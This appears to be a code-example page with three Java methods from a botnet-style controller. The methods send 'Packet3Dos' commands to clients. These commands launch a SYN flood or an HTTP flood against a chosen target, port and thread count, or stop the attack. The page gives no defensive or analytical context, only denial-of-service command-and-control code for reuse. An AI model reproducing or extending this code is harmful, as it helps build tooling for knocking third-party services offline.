Exemple #1
0
 public static void sendSyn(Server server, String target, int port, int threads) {
   Packet p =
       new Packet3Dos(
           server.outputstream,
           new String[] {"syn", target, String.valueOf(threads), String.valueOf(port)});
   p.write();
 }
Exemple #2
0
 public static void sendHttp(Server server, String target, int threads) {
   Packet p =
       new Packet3Dos(server.outputstream, new String[] {"http", target, String.valueOf(threads)});
   p.write();
 }
Exemple #3
0
 public static void sendStop(Server server) {
   Packet p = new Packet3Dos(server.outputstream, new String[] {"stop"});
   p.write();
 }